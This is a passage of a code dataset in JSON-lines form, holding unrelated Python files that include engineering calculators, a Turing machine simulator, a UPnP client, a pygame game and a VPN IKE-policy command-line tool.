m_dotair=airtofuel*m_dotS #required air mass flow [kg/s]\n m_dottotal=m_dotS+m_dotair #total outflow [kg/s]\n \n return 1.6*(304*m_dottotal**0.9)**0.7 # burner mass [kg]\n\ndef SulphurtankVolume(m_sulphur,rho_sulphur):\n #outputs sulphur tank volume\n #inputs total sulphur mass and sulphur density\n\n return m_sulphur/rho_sulphur #[m^3]\n\ndef SulphurtankLength(m_sulphur,rho_sulphur,d_tank):\n #outputs sulphur tank length\n #inputs total sulphur mass, sulphur density and tank diameter\n V_sphere=d_tank**3/6*np.pi # Volume of 2 half spheres [m^3]\n if V_sphere>SulphurtankVolume(m_sulphur,rho_sulphur):\n raise ValueError('to large d_tank')\n V_cyl=SulphurtankVolume(m_sulphur,rho_sulphur)-V_sphere # Volume of cylindrical part of the tank [m^3]\n l_cyl=V_cyl/(d_tank**2*np.pi/4) # Length of cylindrical part of the tank [m]\n return l_cyl+d_tank #[m]\n\ndef SulphurtankMass(m_sulphur,rho_sulphur,d_tank,t_tank,rho_tank):\n #outputs sulphur tank weight\n #inputs total sulphur mass, sulphur density, tank diameter, tank thickness and tank material density\n V_sphere=d_tank**3/6*np.pi # Volume of 2 half spheres [m^3]\n if V_sphere>SulphurtankVolume(m_sulphur,rho_sulphur):\n raise ValueError('to large d_tank')\n V_cyl=SulphurtankVolume(m_sulphur,rho_sulphur)-V_sphere # Volume of cylindrical part of the tank [m^3]\n l_cyl=V_cyl/(d_tank**2*np.pi/4) # Length of cylindrical part of the tank [m]\n A_sphere=d_tank**2*np.pi # Surface area of 2 half spheres [m^2]\n A_cyl=d_tank*np.pi*l_cyl # Surface area of cylindrical part of the tank [m]\n return (A_sphere+A_cyl)*t_tank*rho_tank #[kg]\n\n\n##diameters=np.arange(1,2.5,0.01)\n##weights=np.array([])\n##\n##for D in diameters:\n## weights=np.append(weights,SulphurtankMass(10000,1121,D,0.003,2700))\n##\n##plt.plot(diameters,weights)\n##plt.show()\n\n","sub_path":"build/lib/A22DSE/Models/POPS/Current/payloadcalculations.py","file_name":"payloadcalculations.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"484981480","text":"# -*- coding: utf-8 -*-\n\"\"\"\n theonestore\n https://github.com/kapokcloud-inc/theonestore\n ~~~~~~~~~~~\n :copyright: © 2018 by the Kapokcloud Inc.\n :license: BSD, see LICENSE for more details.\n\"\"\"\n\nfrom app.helpers import (\n create_app, \n enable_logging,\n register_blueprint\n)\nfrom app.routes import ROOT_ROUTES\n\napp = create_app()\nenable_logging(app)\nregister_blueprint(app, ROOT_ROUTES)\n\nif __name__ == '__main__':\n app.config.from_pyfile('app/config/config.dev.cfg')\n app.run(host='127.0.0.1', debug=True, port=1105)\n\n","sub_path":"runapp.py","file_name":"runapp.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"332987703","text":"# -*- coding: utf8 -*-\nimport base64\nimport os\nimport settings\n\n\ndef create_ga_screen_result(task_uid):\n result_path = os.path.join(settings.RESULTS_FOLDER, task_uid)\n result = {}\n\n for file_name in os.listdir(result_path):\n if '.png' in file_name:\n file_path = os.path.join(result_path, file_name)\n screen_type = file_name.split('.png')[0]\n with open(file_path) as f:\n content = f.read()\n result[screen_type] = base64.b64encode(content)\n\n return result\n","sub_path":"lib/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"567846832","text":"class State:\n def __init__(self, q, sym):\n self.q = q # state\n self.sym = sym # symbol\n\n\nclass Rule:\n def __init__(self, text, cur_q, next_q, cur_sym, next_sym, cmd):\n self.text = text # content of rules\n self.cur_q = cur_q # current state\n self.next_q = next_q # next state\n self.cur_sym = cur_sym # current symbol\n self.next_sym = next_sym # next symbol\n self.cmd = cmd # move command\n\n\nclass MT:\n rules = []\n cur_state = State('', '')\n\n def __init__(self, mem, beg_state, width):\n self.mem = mem\n self.width = width\n self.cur_pos = 0\n self.cur_state.q = beg_state\n self.cur_state.sym = mem[self.cur_pos]\n self.r_num = 0\n\n def get_sym(self):\n return self.mem[self.cur_pos]\n\n def get_state(self):\n return self.cur_state.q\n\n def get_mem(self):\n return self.mem\n\n def add_rule(self, rule):\n self.rules.append(Rule(rule, rule[0:self.width],\n rule[(rule.find('->') + 2):((rule.find('->') + 2) + self.width)],\n rule[self.width], rule[len(rule) - 2], rule[len(rule) - 1]))\n self.r_num += 1\n return True\n\n def process(self, i):\n if self.rules[i].cmd == 'L':\n self.cur_pos += -1\n elif self.rules[i].cmd == 'R':\n self.cur_pos += 1\n self.cur_state.q = self.rules[i].next_q\n\n if self.cur_pos < 0:\n return False\n\n if self.cur_pos >= len(self.mem):\n self.mem = self.mem + \" \"\n self.cur_state.sym = self.mem[self.cur_pos]\n\n def step(self):\n i = 0\n while i < self.r_num:\n if self.cur_state.q == self.rules[i].cur_q and self.cur_state.sym == self.rules[i].cur_sym:\n with open(\"C:/Users/Admin/PycharmProjects/tvp2/result.txt\", \"a\") as file:\n file.write('Before: {} {} {}\\n'.format(self.get_mem(), self.get_state(), self.get_sym()))\n self.mem = self.mem[0:self.cur_pos] + self.rules[i].next_sym \\\n + self.mem[self.cur_pos + 1:len(self.mem)]\n\n with open(\"C:/Users/Admin/PycharmProjects/tvp2/result.txt\", \"a\") as file:\n file.write('After: {} {} {} {}\\n'.format(self.get_mem(), self.get_state(), self.get_sym(), self.rules[i].cmd))\n\n self.process(i)\n i += 1\n\n\nif __name__ == '__main__':\n with open('C:/Users/Admin/PycharmProjects/tvp2/entrance_tape.txt') as in_file:\n for line in in_file:\n line = line.replace('\\n', '')\n mt = MT(line, 'q00', 3)\n\n print('{} {} {}'.format(mt.get_mem(), mt.get_state(), mt.get_sym()))\n\n with open('C:/Users/Admin/PycharmProjects/tvp2/rules.txt') as in_file:\n for line in in_file:\n line = line.replace('\\n', '')\n mt.add_rule(line)\n\n while mt.get_state() != 'q09':\n mt.step()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"537468901","text":"from __future__ import print_function\n\nimport sys\nimport argparse\nfrom pprint import pprint\n\n\nfrom ssdp import SSDP\nimport upnp\nfrom utils.xml import string_to_xml_to_dict, xml_dict_get\nfrom dlna.contentdirectory import ContentDirectory\n\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser('Basic UPNP/DLNA command line client')\n parser.add_argument('--name', help='Name of device to look for')\n parser.add_argument('--service', help='Service to look for')\n parser.add_argument('-v', '--verbose', action='store_true', help='Service to look for')\n parser.add_argument('command', nargs=\"*\", help='Service to look for')\n args = parser.parse_args()\n\n if 'list' in args.command and len(args.command) > 1:\n print(\"The 'list' command doesn't play well with others. You may not get the expected results.\")\n\n filter_devices = 'list' not in args.command\n\n if len(args.command) == 0:\n print(\"Nothing to do. Please specify a command!\\nAvailable commands:\\n\")\n print(\" list - list all available services\")\n print(\" detail - show details of filtered services (use with --name and --service)\")\n print(\" browse - try and browse a ContentDirectory service\\n\")\n sys.exit(0)\n\n sdp = SSDP()\n sdp.discover()\n if args.verbose:\n sdp.dump()\n\n if len(sdp) == 0:\n print(\"No devices found...\")\n sys.exit(0)\n\n possible = []\n targets = []\n\n if filter_devices and args.name is not None:\n for dvc in sdp:\n if dvc.friendlyName is None:\n if args.verbose:\n print(\"Skipping device {} as no friendly name available.\".format(dvc.host_string()))\n continue\n if args.name in dvc.friendlyName:\n possible.append(dvc)\n else:\n possible = [dvc for dvc in sdp]\n\n if len(possible) == 0:\n print(\"No matches found for name '{}'. Exiting.\".format(args.name))\n sys.exit(0)\n possible = sorted(possible, key=lambda x: x.host_string())\n\n if filter_devices and args.service is not None:\n for dvc in possible:\n for svc in dvc.services:\n if args.service in svc.serviceType:\n targets.append(svc) \n else:\n for poss in possible:\n targets.extend(poss.services)\n\n if len(targets) == 0:\n print(\"No services found that match your criteria. Exiting...\")\n sys.exit(0)\n targets = sorted(targets, key=lambda x: x.serviceType)\n\n if 'browse' in args.command:\n target = None\n for poss in targets:\n if 'ContentDirectory' in poss.serviceType:\n target = poss\n break\n\n if target is None:\n print(\"Unable to find a ContentDirectory to browse...\")\n sys.exit(0)\n\n cdd = ContentDirectory(target)\n print(\"Browsing ContentDirectory for {}\".format(target.device.friendlyName))\n print(\"System Update ID: {}\".format(cdd.updateId))\n\n if cdd.Browse(RequestedCount=10):\n while True:\n cdd.display_containers()\n print(\"\\nEnter folder number to browse. 'U' to go up. 'I' for expanded information. Return or 'Q' to exit.\")\n opt = raw_input(\"Enter folder number to browse [return to exit]: \")\n opt = opt.strip()\n if opt == '' or opt in ['Q', 'q']:\n break\n if opt in ['U', 'u']:\n nxt = cdd.parent or 0\n elif opt in ['I', 'i']:\n cdd.display_containers(True)\n continue\n else:\n nxt = cdd.id_for_container(int(opt) - 1)\n if nxt is None:\n break\n if not cdd.Browse(nxt, RequestedCount=10):\n break\n\n if 'list' in args.command:\n print(\"Listing all services found.\")\n typ = None\n for tgt in targets:\n if typ != tgt.serviceType:\n print(\"\\n{}\".format(tgt.serviceType))\n print(\" {:20s} - {}\".format(tgt.device.host_string(),\n tgt.device.friendlyName))\n typ = tgt.serviceType\n\n if 'detail' in args.command:\n for tgt in targets:\n print(tgt.dump())\n\n","sub_path":"simpleupnp/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"346984458","text":"from pairoptions import pairoptions\nimport MatlabFuncs as m\nfrom WriteData import WriteData\n\nclass verbose(object):\n\t\"\"\"\n\tVERBOSE class definition\n\n\t Available verbosity levels:\n\t mprocessor : model processing \n\t module : modules\n\t solution : solution sequence\n\t solver : solver info (extensive)\n\t convergence : convergence criteria\n\t control : control method\n\t qmu : sensitivity analysis\n\t autodiff : AD analysis\n\t smb : SMB analysis\n\n\t Usage:\n\t verbose=verbose();\n\t verbose=verbose(3);\n\t verbose=verbose('001100');\n\t verbose=verbose('module',True,'solver',False);\n\n\tWARNING: some parts of this file are Synchronized with src/c/shared/Numerics/Verbosity.h\n\t Do not modify these sections. See src/c/shared/Numerics/README for more info\n\t\"\"\"\n\n\tdef __init__(self,*args): # {{{\n\t\t#BEGINFIELDS\n\t\tself.mprocessor = False\n\t\tself.module = False\n\t\tself.solution = False\n\t\tself.solver = False\n\t\tself.convergence = False\n\t\tself.control = False\n\t\tself.qmu = False\n\t\tself.autodiff = False\n\t\tself.smb = False\n\t\t#ENDFIELDS\n\n\t\tif not len(args):\n\t\t\t#Don't do anything\n\t\t\tself.solution=True;\n\t\t\tself.qmu=True;\n\t\t\tself.control=True;\n\t\t\tpass\n\n\t\telif len(args) == 1:\n\t\t\tbinary=args[0]\n\t\t\tif isinstance(binary,(str,unicode)):\n\t\t\t\tif binary.lower()=='all':\n\t\t\t\t\tbinary=2**11-1 #all ones\n\t\t\t\t\tself.BinaryToVerbose(binary)\n\t\t\t\t\tself.solver=False #Do not use by default\n\t\t\t\telse:\n\t\t\t\t\tbinary=int(binary,2)\n\t\t\t\t\tself.BinaryToVerbose(binary)\n\t\t\telif isinstance(binary,(int,long,float)):\n\t\t\t\tself.BinaryToVerbose(int(binary))\n\n\t\telse:\n\t\t\t#Use options to initialize object\n\t\t\tself=pairoptions(*args).AssignObjectFields(self)\n\n\t\t\t#Cast to logicals\n\t\t\tlistproperties=vars(self)\n\t\t\tfor fieldname,fieldvalue in listproperties.iteritems():\n\t\t\t\tif isinstance(fieldvalue,bool) or isinstance(fieldvalue,(int,long,float)):\n\t\t\t\t\tsetattr(self,fieldname,bool(fieldvalue))\n\t\t\t\telse:\n\t\t\t\t\traise TypeError(\"verbose supported field values are logicals only (True or False)\")\n\t# }}}\n\tdef __repr__(self): # {{{\n\t\t\t\n\t\t#BEGINDISP\n\t\ts =\"class '%s' = \\n\" % type(self)\n\t\ts+=\" %15s : %s\\n\" % ('mprocessor',self.mprocessor)\n\t\ts+=\" %15s : %s\\n\" % ('module',self.module)\n\t\ts+=\" %15s : %s\\n\" % ('solution',self.solution)\n\t\ts+=\" %15s : %s\\n\" % ('solver',self.solver)\n\t\ts+=\" %15s : %s\\n\" % ('convergence',self.convergence)\n\t\ts+=\" %15s : %s\\n\" % ('control',self.control)\n\t\ts+=\" %15s : %s\\n\" % ('qmu',self.qmu)\n\t\ts+=\" %15s : %s\\n\" % ('autodiff',self.autodiff)\n\t\ts+=\" %15s : %s\\n\" % ('smb',self.smb)\n\t\t#ENDDISP\n\n\t\treturn s\n\t# }}}\n\tdef VerboseToBinary(self): # {{{\n\n\t\t#BEGINVERB2BIN\n\t\tbinary=0\n\t\tif self.mprocessor:\n\t\t\tbinary=binary | 1\n\t\tif self.module:\n\t\t\tbinary=binary | 2\n\t\tif self.solution:\n\t\t\tbinary=binary | 4\n\t\tif self.solver:\n\t\t\tbinary=binary | 8\n\t\tif self.convergence:\n\t\t\tbinary=binary | 16\n\t\tif self.control:\n\t\t\tbinary=binary | 32\n\t\tif self.qmu:\n\t\t\tbinary=binary | 64\n\t\tif self.autodiff:\n\t\t\tbinary=binary | 128\n\t\tif self.smb:\n\t\t\tbinary=binary | 256\n\t\t#ENDVERB2BIN\n\n\t\treturn binary\n\t# }}}\n\tdef BinaryToVerbose(self,binary): # {{{\n\n\t\t#BEGINBIN2VERB\n\t\tself.mprocessor =bool(binary & 1)\n\t\tself.module =bool(binary & 2)\n\t\tself.solution =bool(binary & 4)\n\t\tself.solver =bool(binary & 8)\n\t\tself.convergence=bool(binary & 16)\n\t\tself.control =bool(binary & 32)\n\t\tself.qmu =bool(binary & 64)\n\t\tself.autodiff =bool(binary & 128)\n\t\tself.smb =bool(binary & 256)\n\t\t#ENDBIN2VERB\n\t# }}}\n\tdef checkconsistency(self,md,solution,analyses): # {{{\n\t\treturn md\n\t# }}}\n\tdef marshall(self,prefix,md,fid): # {{{\n\t\tWriteData(fid,prefix,'data',self.VerboseToBinary(),'name','md.verbose','format','Integer')\n\t# }}}\n","sub_path":"issm/verbose.py","file_name":"verbose.py","file_ext":"py","file_size_in_byte":3775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"324823654","text":"from ihsa_oop import Problem\nfrom PyQt4 import QtGui\nimport sys\nimport ihsagui\n\n\nclass IHSAApp(QtGui.QMainWindow, ihsagui.Ui_MainWindow):\n\tdef __init__(self):\n\t\tsuper(self.__class__, self).__init__()\n\t\tself.setupUi(self)\n\t\tself.Oblicz.clicked.connect(self.funkcjaoblicz)\n\t\tself.Zamknij.clicked.connect(self.funkcjazamknij)\n\tdef funkcjaoblicz(self):\n\t\tranges = []\n\t\tranges.append(float(self.dg1.value()))\n\t\tranges.append(float(self.gg1.value()))\n\t\tranges.append(float(self.dg2.value()))\n\t\tranges.append(float(self.gg2.value()))\t\t\n\t\tfunction = self.ownFunction.text()\n\t\tif function: \n\t\t\tif 'x3' in function:\n \t\t\t\tdimensions = 3\n \t\t\t\tranges.append(float(self.dg3.value()))\n \t\t\t\tranges.append(float(self.gg3.value()))\n\t\t\telse:\n \t\t\t\tdimensions = 2\n\t\telse:\n \t\t\tdimensions = 0\n\n\n\t\tprob = Problem(function, dimensions, ranges)\t\t\n\t\tprob.draw_contour(ranges)\n\t\tprob.solve()\n\n\t\twyniki = prob.harmony_memory\n\t\tfor i in range(7):\n\t\t\tx1 = QtGui.QTableWidgetItem(str(wyniki[i][0]))\n\t\t\tx2 = QtGui.QTableWidgetItem(str(wyniki[i][1]))\n\t\t\tself.tableWidget.setItem(i, 0, x1)\n\t\t\tself.tableWidget.setItem(i, 1, x2)\n\t\t\tif dimensions == 3:\n\t\t\t\tx3 = QtGui.QTableWidgetItem(str(wyniki[i][2]))\n\t\t\t\tself.tableWidget.setItem(i, 2, x3)\n\t\twartosci = prob.values\n\t\tfor i in range(7):\n\t\t\ty = QtGui.QTableWidgetItem(str(wartosci[i]))\n\t\t\tself.tableWidget.setItem(i, 3, y)\n\n\n\tdef funkcjazamknij(self):\n\t\tsys.exit()\n\ndef main():\n\tapp = QtGui.QApplication(sys.argv)\n\tform = IHSAApp()\n\tform.show()\n\tapp.exec_()\n\t\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"ihsamain.py","file_name":"ihsamain.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"529984748","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport sys\nfrom contextlib import contextmanager\n\nimport pygame\n\nfrom .config import *\nfrom .utils.display import get_font\nfrom .utils.data_parser import load_game_group, dump_game_group\nfrom .scene.basic_scenes import *\n\n__author__ = 'fyabc'\n\n\nclass Game:\n def __init__(self):\n # Initialize pygame.\n pygame.init()\n self.main_window = pygame.display.set_mode(WindowSize)\n self.timer = pygame.time.Clock()\n self.gFont = get_font()\n\n pygame.display.set_caption(GameTitle)\n\n # Game initialize.\n self.previous_scene_id = None\n self.current_scene_id = 0\n self.args_between_scenes = []\n self.scenes = {}\n\n # Data initialize.\n self.game_groups_data = {\n game_group_name: load_game_group(game_group_name)\n for game_group_name in GameGroups\n }\n\n scene_map = {\n 'MainMenu': 0,\n 'HelpMenu': 1,\n 'GameSelectMenu': 2,\n 'GameMainMenu': 3,\n # ('LevelScene', 'basic'): 'basic',\n }\n\n self.add_scene(0, MainMenu, scene_map)\n self.add_scene(1, HelpMenu)\n self.add_scene(2, GameSelectMenu, scene_map)\n self.add_scene(3, GameMainMenu, scene_map)\n\n @contextmanager\n def _game_manager(self):\n yield\n\n pygame.quit()\n\n # Save some data of the game.\n print('Saving game status... ', end='')\n for game_group_data in self.game_groups_data.values():\n dump_game_group(game_group_data)\n print('done')\n\n print('The game is quited!')\n sys.exit(0)\n\n def add_scene(self, scene_id, scene_type, *args, **kwargs):\n self.scenes[scene_id] = scene_type(self, scene_id, *args, **kwargs)\n\n def run(self):\n with self._game_manager():\n while True:\n scene = self.scenes[self.current_scene_id]\n\n result = scene.run(self.previous_scene_id, *self.args_between_scenes)\n\n if hasattr(result, '__len__'):\n next_scene_id, *self.args_between_scenes = result\n else:\n next_scene_id = result\n self.args_between_scenes = []\n\n if next_scene_id == MainMenu.QuitID:\n break\n\n self.previous_scene_id, self.current_scene_id = self.current_scene_id, next_scene_id\n","sub_path":"Shift_pygame/Shift_pygame/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"265751468","text":"class Solution(object):\n def superPow(self, a, b):\n \"\"\"\n :type a: int\n :type b: List[int]\n :rtype: int\n \"\"\"\n b.reverse()\n record = a%1337\n remainder = 1\n for i in xrange(len(b)):\n \tif i != 0:\n \t\trecord = pow(record,10)%1337\n \t\tfactor1 = record\n \telse:\n \t\tfactor1 = record\n \tremainder = (remainder*pow(factor1,b[i]))%1337\n return remainder","sub_path":"372_Super_Pow.py","file_name":"372_Super_Pow.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"357585036","text":"# Copyright (c) 2016 Intel Corporation.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport argparse\n\nfrom vpnclient.utils import FH\nfrom vpnclient.v1_0.command_list import ListCommand\nfrom vpnclient.v1_0.command_resource import CommandResource\nfrom vpnclient.v1_0.vpn.utils_vpn import (\n check_lifetime_value, help_algorithm_options, help_dh_options,\n check_name_len, DefaultList)\nfrom vpnclient.v1_0.vpn.vpn_choices import (\n IKEV1_INTEGRITY_ALGORITHM, IKEV2_INTEGRITY_ALGORITHM,\n IKEV1_ENCRYPTION_ALGORITHM, IKEV2_ENCRYPTION_ALGORITHM,\n DH_GROUP, LIFETIME_UNITS\n)\n\n_COMMAND_COLUMNS = [\n 'id',\n 'name',\n 'description',\n 'encryption_algorithm',\n 'integrity_algorithm',\n 'dh_group',\n 'phase1_negotiation_mode',\n 'lifetime_value',\n 'lifetime_units',\n 'ike_version',\n 'rekey',\n 'reauth',\n]\n\n_HTTP_RESOURCE = 'ikepolicies'\n\n# IKEPolicy Attributes' Choices\n\n_IKE_PHASE1_MODE = [\n 'aggressive',\n 'main',\n]\n\n_IKE_VERSION = [\n 'v1',\n 'v2',\n]\n\n_IKE_REKEY = [\n 'yes',\n 'no',\n]\n\n_IKE_REAUTH = [\n 'yes',\n 'no',\n]\n\n\ndef common_verify_ikepolicy_arguments(attrs):\n\n if attrs.get('ike_version', None) == 'v1':\n\n if not set(attrs.get('encryption_algorithm', [])).issubset(\n set(IKEV1_ENCRYPTION_ALGORITHM)):\n error_msg = _(\"encryption-algorithm has invalid choice(s) for IKE \"\n \"version 1\")\n raise argparse.ArgumentTypeError(error_msg)\n\n if not set(attrs.get('integrity_algorithm', [])).issubset(\n set(IKEV1_INTEGRITY_ALGORITHM)):\n error_msg = _(\"integrity-algorithm has invalid choice(s) for IKE \"\n \"version 1\")\n raise argparse.ArgumentTypeError(error_msg)\n\n if attrs.get('ike_version', None) == 'v2':\n\n if not set(attrs.get('encryption_algorithm', [])).issubset(\n set(IKEV2_ENCRYPTION_ALGORITHM)):\n error_msg = _(\"encryption-algorithm has invalid choice(s) for IKE \"\n \"version 2\")\n raise argparse.ArgumentTypeError(error_msg)\n\n if not set(attrs.get('integrity_algorithm', [])).issubset(\n set(IKEV2_INTEGRITY_ALGORITHM)):\n error_msg = _(\"integrity-algorithm has invalid choice(s) for IKE \"\n \"version 2\")\n raise argparse.ArgumentTypeError(error_msg)\n\n dh_group = attrs.get('dh_group')\n if dh_group is not None and not set(dh_group).issubset(\n set(DH_GROUP)):\n error_msg = _(\"dh_group has invalid choice(s)\")\n raise argparse.ArgumentTypeError(error_msg)\n\n if (attrs.get('ike_version', None) == 'v1' and\n attrs.get('reauth', None) == 'no'):\n error_msg = _(\"reauth value 'no' is an invalid choice for IKE \"\n \"version 1\")\n raise argparse.ArgumentTypeError(error_msg)\n\n if (attrs.get('ike_version', None) == 'v1' and\n len(attrs.get('encryption_algorithm', [])) > 1):\n error_msg = _(\"Multiple encryption-algorithm values are not applicable \"\n \"for IKE version 1\")\n raise argparse.ArgumentTypeError(error_msg)\n\n if (attrs.get('ike_version', None) == 'v1' and\n len(attrs.get('auth_algorithm', [])) > 1):\n error_msg = _(\"Multiple integrity-algorithm values are not applicable \"\n \"for IKE version 1\")\n raise argparse.ArgumentTypeError(error_msg)\n\n if (attrs.get('ike_version', None) == 'v1' and\n len(attrs.get('dh_group', [])) > 1):\n error_msg = _(\"Multiple dh_group values are not applicable for IKE \"\n \"version 1\")\n raise argparse.ArgumentTypeError(error_msg)\n\n\nclass CreateIKEPolicy(CommandResource):\n \"\"\"Create an IKEPolicy\"\"\"\n resource = 'ikepolicy'\n cmd_columns = _COMMAND_COLUMNS\n http_resource = _HTTP_RESOURCE\n\n @staticmethod\n def add_known_arguments(parser):\n parser.add_argument(\n 'name',\n metavar='NAME',\n type=check_name_len,\n help=FH(_(\"Name of the IKEPolicy\")))\n\n parser.add_argument(\n '--description',\n default='',\n help=FH(_(\"Description of the IKEPolicy\")))\n\n parser.add_argument(\n '--ike-version',\n default='v2',\n choices=_IKE_VERSION,\n help=FH(_(\"IKE version in lowercase, Default: v2\")))\n\n parser.add_argument(\n '--encryption-algorithm',\n default=DefaultList(['aes128']),\n action='append',\n help=FH(_(\n \"Encryption algorithm in lowercase, Default: aes-128 \\n\"\n \"For IKE version 2, repeat this option to specify multiple \\n\"\n \"encryption-algorithms\") +\n help_algorithm_options('ike', 'encryption')))\n\n parser.add_argument(\n '--integrity-algorithm',\n default=DefaultList(['sha1']),\n action='append',\n help=FH(_(\n \"Authentication algorithm in lowercase, Default: sha1 \\n\"\n \"For IKE version 2, repeat this option to specify multiple \\n\"\n \"integrity-algorithms\") +\n help_algorithm_options('ike', 'integrity')))\n\n parser.add_argument(\n '--dh-group',\n default=DefaultList(['modp1536']),\n action='append',\n help=FH(_(\n \"Diffie-Hellman dhgroup in lowercase, Default: modp1536 \\n\"\n \"For IKE version 2, repeat this option to specify multiple \\n\"\n \"dh-groups\") + help_dh_options()))\n\n parser.add_argument(\n '--phase1-negotiation-mode',\n default='main',\n choices=_IKE_PHASE1_MODE,\n help=FH(_(\"IKE Phase1 negotiation mode in lowercase, \\n\"\n \"Default: main\")))\n\n parser.add_argument(\n '--lifetime-value',\n type=check_lifetime_value,\n default='3600',\n help=FH(_(\"IKE lifetime value of the security association, \\n\"\n \"Default: 3600\")))\n\n parser.add_argument(\n '--lifetime-units',\n default='seconds',\n choices=LIFETIME_UNITS,\n help=FH(_(\"IKE lifetime units of the security association in \\n\"\n \"lowercase, Default: seconds\")))\n\n parser.add_argument(\n '--rekey',\n default='yes',\n choices=_IKE_REKEY,\n help=FH(_(\"Whether a connection should be renegotiated when it \\n\"\n \"is about to expire in lowercase, Default: yes\")))\n\n parser.add_argument(\n '--reauth',\n default='yes',\n choices=_IKE_REAUTH,\n help=FH(_(\"whether rekeying should also reauthenticate the peer \\n\"\n \"in lower case, Default: yes \\n\"\n \"Option 'no' is only valid for IKE version 1.\")))\n\n return parser\n\n @staticmethod\n def verify_arguments(attrs):\n common_verify_ikepolicy_arguments(attrs)\n\n\nclass ShowIKEPolicy(CommandResource):\n \"\"\"Show information of a given IKEPolicy\"\"\"\n resource = 'ikepolicy'\n cmd_columns = _COMMAND_COLUMNS\n http_resource = _HTTP_RESOURCE\n\n @staticmethod\n def add_known_arguments(parser):\n parser.add_argument(\n 'id',\n metavar='IKEPOLICY',\n help=FH(_(\"ID or Name of IKEPolicy to search\")))\n\n return parser\n\n\nclass ListIKEPolicy(CommandResource):\n \"\"\"List IKEPolicies\"\"\"\n resource = 'ikepolicy'\n cmd_columns = _COMMAND_COLUMNS\n http_resource = _HTTP_RESOURCE\n\n @staticmethod\n def add_known_arguments(parser):\n return ListCommand.add_args(parser)\n\n\nclass UpdateIKEPolicy(CommandResource):\n \"\"\"Update a given IKEPolicy\"\"\"\n resource = 'ikepolicy'\n cmd_columns = _COMMAND_COLUMNS\n http_resource = _HTTP_RESOURCE\n\n @staticmethod\n def add_known_arguments(parser):\n parser.add_argument(\n 'id',\n metavar='IKEPOLICY',\n help=FH(_(\"ID or Name of IKEPolicy to update\")))\n\n parser.add_argument(\n '--name',\n type=check_name_len,\n help=FH(_(\"Name of the IKEPolicy\")))\n\n parser.add_argument(\n '--description',\n help=FH(_(\"Description of the IKEPolicy\")))\n\n parser.add_argument(\n '--ike-version',\n choices=_IKE_VERSION,\n help=FH(_(\"IKE version in lowercase\")))\n\n parser.add_argument(\n '--encryption-algorithm',\n action='append',\n help=FH(_(\n \"Encryption algorithm in lowercase. \\n\"\n \"For IKE version 2, repeat this option to specify multiple \\n\"\n \"encryption-algorithms\") +\n help_algorithm_options('ike', 'encryption')))\n\n parser.add_argument(\n '--integrity-algorithm',\n action='append',\n help=FH(_(\n \"Authentication algorithm in lowercase. \\n\"\n \"For IKE version 2, repeat this option to specify multiple \\n\"\n \"integrity-algorithms\") +\n help_algorithm_options('ike', 'integrity')))\n\n parser.add_argument(\n '--dh-group',\n action='append',\n help=FH(_(\n \"Diffie-Hellman dhgroup in lowercase. \\n\"\n \"For IKE version 2, repeat this option to specify multiple \\n\"\n \"dh-groups\") + help_dh_options()))\n\n parser.add_argument(\n '--phase1-negotiation-mode',\n choices=_IKE_PHASE1_MODE,\n help=FH(_(\"IKE Phase1 negotiation mode in lowercase\")))\n\n parser.add_argument(\n '--lifetime-value',\n type=int,\n help=FH(_(\"IKE lifetime value of the security association\")))\n\n parser.add_argument(\n '--lifetime-units',\n choices=LIFETIME_UNITS,\n help=FH(_(\"IKE lifetime units of the security association in \\n\"\n \"lowercase\")))\n\n parser.add_argument(\n '--rekey',\n choices=_IKE_REKEY,\n help=FH(_(\"Whether a connection should be renegotiated when it \\n\"\n \"is about to expire\")))\n\n parser.add_argument(\n '--reauth',\n choices=_IKE_REAUTH,\n help=FH(_(\"Whether rekeying should also reauthenticate the peer. \\n\"\n \"Option 'no' is only valid for IKE version 1\")))\n\n return parser\n\n @staticmethod\n def verify_arguments(attrs):\n common_verify_ikepolicy_arguments(attrs)\n\n\nclass DeleteIKEPolicy(CommandResource):\n \"\"\"Delete a given IKEPolicy\"\"\"\n resource = 'ikepolicy'\n cmd_columns = _COMMAND_COLUMNS\n http_resource = _HTTP_RESOURCE\n\n @staticmethod\n def add_known_arguments(parser):\n parser.add_argument(\n 'id',\n metavar='IKEPOLICY',\n help=FH(_(\"ID or Name of IKEPolicy to delete\")))\n\n return parser\n","sub_path":"IPSec_EMS/common/vpnclient/v1_0/vpn/ikepolicy.py","file_name":"ikepolicy.py","file_ext":"py","file_size_in_byte":11667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"631293986","text":"\n\n#calss header\nclass _MERIT():\n\tdef __init__(self,): \n\t\tself.name = \"MERIT\"\n\t\tself.definitions = [u'If something merits a particular treatment, 